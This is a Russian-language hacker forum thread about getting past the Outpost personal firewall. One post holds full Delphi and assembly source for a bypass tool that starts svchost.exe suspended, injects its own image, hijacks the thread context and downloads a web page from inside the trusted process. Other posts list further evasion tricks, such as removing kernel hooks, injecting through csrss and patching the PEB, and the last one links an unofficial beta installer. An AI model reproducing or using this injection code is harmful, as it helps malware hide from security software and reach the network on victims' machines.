статейка интересна. Гемор обеспечен, но по моему в версии 3.5 эта штука исправлена. по моему легче просто грохнуть приложение с его сервисом
А что, старый добрый способ отменили? { Firewall Fucker - пример обхода фаерволла. Copyright by Ms-Rem ([email protected]) ICQ 286370715 } program FireFuck; uses Windows, WinSock; {$IMAGEBASE $13140000} { Определение положения подстроки в строке } Function MyPos(Substr, Str: PChar): dword; stdcall; asm mov eax, Substr mov edx, str test eax, eax je @noWork test edx, edx je @stringEmpty push ebx push esi push edi mov esi, eax mov edi, edx push eax push edx call lstrlen mov ecx, eax pop eax push edi push eax push eax call lstrlen mov edx, eax pop eax dec edx js @fail mov al, [esi] inc esi sub ecx, edx jle @fail @loop: repne scasb jne @fail mov ebx, ecx push esi push edi mov ecx, edx repe cmpsb pop edi pop esi je @found mov ecx, ebx jmp @loop @fail: pop edx xor eax, eax jmp @exit @stringEmpty: xor eax, eax jmp @noWork @found: pop edx mov eax, edi sub eax, edx @exit: pop edi pop esi pop ebx @noWork: end; { Копирование строк } Function MyCopy(SChar; Index, Count: Dword): PChar; stdcall; asm mov eax, Count inc eax push eax push LPTR call LocalAlloc mov edi, eax mov ecx, Count mov esi, S add esi, Index dec esi rep movsb end; { Копирование участка памяти } procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD); asm push ecx push esi push edi mov esi, Source mov edi, Destination mov ecx, Length rep movsb pop edi pop esi pop ecx end; Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer; var Buffer: pointer; BufferLength: dword; BufferUsed: dword; Bytes: integer; Header: PChar; Site: PChar; URL: PChar; FSocket: integer; SockAddrIn: TSockAddrIn; HostEnt: PHostEnt; Str: PChar; WSAData: TWSAData; hHeap: dword; begin Result := nil; hHeap := GetProcessHeap(); WSAStartup(257, WSAData); Site := MyCopy(Address, 1, MyPos('/', Address) - 1); URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1); Buffer := HeapAlloc(hHeap, 0, 1024); try BufferLength := 1024; BufferUsed := 0; FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); SockAddrIn.sin_family := AF_INET; SockAddrIn.sin_port := htons(80); SockAddrIn.sin_addr.s_addr := inet_addr(Site); if SockAddrIn.sin_addr.s_addr = INADDR_NONE then begin HostEnt := gethostbyname(Site); if HostEnt = nil then Exit; SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^); end; if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit; Str := HeapAlloc(hHeap, 0, 1024); lstrcpy(Str, 'GET '); lstrcat(Str, URL); lstrcat(Str, ' HTTP/1.0'#10#13'Host: '); lstrcat(Str, Site); lstrcat(Str, #13#10'Connection: close'#13#10#13#10); send(FSocket, Str^, lstrlen(Str), 0); HeapFree(hHeap, 0, Str); repeat if BufferLength - BufferUsed < 1024 then begin Inc(BufferLength, 1024); Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength); end; Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0); if Bytes > 0 then Inc(BufferUsed, Bytes); until (Bytes = 0) or (Bytes = SOCKET_ERROR); Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3); ReturnSize := BufferUsed - lstrlen(header); Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); if Result = nil then Exit; MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize); finally HeapFree(hHeap, 0, Buffer); end; end; { процедура выполняющаяся в контексте доверенного приложения } Procedure Download(); stdcall; const URL : PChar = 'forum.antichat.ru/newreply.php?do=newreply&p=146170'; var Buff: pointer; Size: dword; Bytes: dword; dFile: dword; begin LoadLibrary('wsock32.dll'); Buff := DownloadFile(URL, Size); dFile := CreateFile('1.htm', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0); WriteFile(dFile, Buff^, Size, Bytes, nil); CloseHandle(dFile); ExitProcess(0); end; var St: TStartupInfo; Pr: TProcessInformation; InjectSize: dword; Code: pointer; Injected: pointer; BytesWritten: dword; Context: _CONTEXT; begin ZeroMemory(@St, SizeOf(TStartupInfo)); St.cb := SizeOf(TStartupInfo); St.wShowWindow := SW_SHOW; //запускаем процесс, которому разрешено лезть на 80 порт CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); Code := pointer(GetModuleHandle(nil)); InjectSize := PImageOptionalHeader(pointer(integer(Code) + PImageDosHeader(Code)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage; //выделяем память в процессе Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); //внедряем код WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten); //изменяем контекст нити Context.ContextFlags := CONTEXT_FULL; GetThreadContext(Pr.hThread, Context); Context.Eip := dword(@Download); SetThreadContext(Pr.hThread, Context); //запускаем процесс ResumeThread(Pr.hThread); end.
к сожалению, АБСОЛЮТНО ВСЕ существующие методы обхода базируюцаа на безпалевном инжекте в пердположительно доверенный процесс. У меня была идея написать драйвер, который будет работать напрямую с NDIS, предварительно найдя оригинальные адресса соотв ф-ций (оутпост их хукает ессесно) так что если есть желание/знания - вперёд, геморроя думаю здесь будет намного меньше чем кажеццо =)))
В общем тут такое дело: 1. Запуск доверенного процесса и соответственно через него и делать все что угодно. Способ хороший, НО!!! Outpost среагирует: минимум - сообщением "Запуск скрытого процесса", в другом случае это "Процесс xxx.exe облокирован" изменения в памяти процесса и т.д. 2. Dll-injection Ну тут слов нет все равно словит. читай 1 пункт 2 случай. 3. RAW Sockets, тут отдельная речь... Короче все равно поймает. По моему единственный вариант это: Грузить приложение до Outposta и вырубать процесс... Почему не внести изменения? Outpost проверяет себя и компоненты на наличие Adware/Spyware и CRC... Не знаю я не опытный кодер (да и в протоколах не очень...) по этому еще куча способов... На мой взгляд.
W!z@rD: 1, 2 - контроль памяти процессов довольно просто обходицца напр. снятием хуков с SST или инжектом через csrss в два прыжка, контроль компонентов лечиццо правкой PEB короче эти способы работают без проблем, но только при наличии возможности инжекта в доверенный процесс, да и вообще попса и старьё, нужно что-нибудь новое и более координальное) 3. равсокеты дефолтно запрещены убивать оутпост - просто глупо и некрасиво, да и слишком палевно к тому же (а про геморройность данного яспособа я вообще молчу - из юзермоде ты сервис оутпоста не грохнешь 100%)
вижу дело совсем плохо!! Себе поставил Agnitum 4 (неофицальный релиз), "ни взохнуть ни пернуть", ммониторит все и всех. И помоему они просекли фишку с инжекцие кода
kaldata.host.bg/www.kaldata.net/Outpost%20Firewall/Outpost%20Firewall%20Pro%204.0.888.559%2032-bit%20Beta%20(kaldata.com).exe если кто захочет то он здесь